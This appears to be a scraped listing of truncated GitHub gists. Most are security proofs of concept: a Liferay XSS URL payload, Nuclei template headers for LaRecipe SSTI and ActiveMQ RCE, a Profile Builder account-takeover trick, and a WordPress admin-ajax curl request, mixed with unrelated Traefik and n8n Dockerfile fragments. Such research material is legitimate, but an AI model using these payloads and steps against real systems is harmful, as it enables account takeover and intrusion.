Requirements
_com_liferay_blogs_web_portlet_BlogsPortlet_urlTitlehttps://<blog full portlet URL>?p_p_id=com_liferay_blogs_web_portlet_BlogsPortlet&_com_liferay_blogs_web_portlet_BlogsPortlet_mvcRenderCommandName=%2Fblogs%2Fview_entry&_com_liferay_blogs_web_portlet_BlogsPortlet_urlTitle=<VALID TITLE>&_com_liferay_blogs_web_portlet_BlogsPortlet_coverImageURL=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Continue...
| id: CVE-2025-53833 | |
| info: | |
| name: LaRecipe is vulnerable to Server-Side Template Injection attacks | |
| author: sushicomabacate | |
| severity: critical | |
| description: | | |
| LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations. Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration. Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch. | |
| reference: | |
| - https://www.cve.org/CVERecord?id=CVE-2025-53833 |
| traefik.enable=true | |
| # --- Middleware Definitions --- | |
| traefik.http.middlewares.gzip.compress=true | |
| traefik.http.middlewares.redirect-to-https.redirectscheme.scheme=https | |
| # --- Service Definition --- | |
| traefik.http.services.n8n-svc.loadbalancer.server.port=5678 | |
| # --- Routers --- |
| FROM n8nio/n8n:latest | |
| # Switch to root user to install packages and modify system directories | |
| USER root | |
| # Install necessary system packages using apk | |
| # build-base, python3-dev, geoip-dev are needed for potential native dependencies | |
| # wget for downloading, git for source control (might be needed by Go), bash (useful shell) | |
| RUN apk update && \ | |
| apk add --no-cache \ |
References: https://wpscan.com/blog/unauthenticated-privilege-escalation-in-profile-builder-plugin/
When registering a new user, add a space before the victim's email. For examples,
admin@email.com
| # post_id is a post created using Elementator | |
| curl --path-as-is -i -s -k -X $'POST' \ | |
| -H $'Host: localhost:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 58' \ | |
| --data-binary $'action=ekit_widgetarea_content&nonce=ac60e98a94&post_id=14' \ | |
| $'http://localhost:8000/wp-admin/admin-ajax.php' |
| <?php | |
| phpinfo(); | |
| ?> |
| <?php | |
| // references | |
| // https://x.com/Hac10101/status/1762187078618505397?s=20 | |
| // https://x.com/sushicomabacate/status/1762427771135963395?s=20 | |
| if ($_SERVER['REQUEST_METHOD'] === 'POST') { | |
| $username = $_POST['username']; | |
| $password = $_POST['password']; | |
| id: CVE-2023-46604 | |
| # original https://github.com/projectdiscovery/nuclei-templates/blob/main/javascript/cves/2023/CVE-2023-46604.yaml | |
| # it doenst work well with list of targets, ie: nuclei -l ips-cabf861d-39b0-47ad-b949-c8230c998255.txt -t javascript/cves/2023/CVE-2023-46604.yaml -nh -vv -t 10 | |
| # sometime, using -t 10 improve the results | |
| # using -debug shows the responses | |
| info: | |
| name: Apache ActiveMQ - Remote Code Execution | |
| author: Ice3man,Mzack9999,pdresearch | |
| severity: critical |